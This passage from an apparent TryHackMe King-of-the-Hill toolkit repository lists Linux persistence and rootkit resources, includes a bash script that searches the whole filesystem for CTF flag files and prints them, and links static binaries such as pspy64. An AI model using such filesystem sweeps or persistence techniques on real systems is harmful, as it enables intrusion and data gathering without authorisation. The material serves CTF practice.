[DemonizedShell](https://github.com/MatheuZSecurity/D3m0n1z3dShell) 531 | 532 | [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md) 533 | 534 | [Hunting Persistence](https://pberba.github.io/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/) 535 | 536 | [vx-underground papers](https://www.vx-underground.org/#E:/root/Papers/Linux/Persistence) 537 | 538 | [Persistence Cheat-Sheet](https://hackmag.com/security/persistence-cheatsheet/) 539 | 540 | --------------------------------------------------------------------------- 541 | #### @MatheuzSecurity 542 | 543 | -------------------------------------------------------------------------------- /flag-finder/flag-finder.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ## https://www.youtube.com/MatheuZSecurity 4 | 5 | echo "Finding flags... Please leave this script running in a terminal as this will take a long time." 6 | 7 | find / -name "*flag.txt" -o -name ".flag*" -exec cat {} \; 2>/dev/null > temp_flags.txt 8 | 9 | find / -name ".flag" -o -name "flag" -exec cat {} \; 2>/dev/null >> temp_flags.txt 10 | 11 | find / -name "user.txt" -exec cat {} \; 2>/dev/null >> temp_flags.txt 12 | 13 | grep -r "THM{" / >> temp_flags.txt 2>/dev/null 14 | 15 | if [[ -s temp_flags.txt ]]; then 16 | echo "All flags Found" 17 | else 18 | echo "No flags found" 19 | fi 20 | 21 | sleep 2 22 | 23 | clear 24 | 25 | echo "Here is your flags." 26 | 27 | cat temp_flags.txt 28 | -------------------------------------------------------------------------------- /static-bin/make: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MatheuZSecurity/Koth-TryHackMe-Tricks/1d7263fc0f9715e1eb085d996d7bc5299e3fc19f/static-bin/make -------------------------------------------------------------------------------- /static-bin/nyan: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MatheuZSecurity/Koth-TryHackMe-Tricks/1d7263fc0f9715e1eb085d996d7bc5299e3fc19f/static-bin/nyan -------------------------------------------------------------------------------- /static-bin/pspy64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MatheuZSecurity/Koth-TryHackMe-Tricks/1d7263fc0f9715e1eb085d996d7bc5299e3fc19f/static-bin/pspy64 --------------------------------------------------------------------------------